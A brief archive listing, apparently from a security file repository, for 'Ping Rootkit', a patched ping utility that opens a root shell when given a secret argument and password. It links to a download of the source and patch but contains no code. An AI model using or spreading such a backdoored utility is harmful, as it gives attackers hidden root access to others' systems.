Ping Rootkit executes a root shell by simply executing the well known and “trusted” command with a special argument and a password. Includes the full source code for ping as well as the patch.
You can download it from the following link: https://packetstormsecurity.com/files/download/46740/pingrootkit.tar.bz2
Source: https://packetstormsecurity.com/files/46740/pingrootkit.tar.bz2.html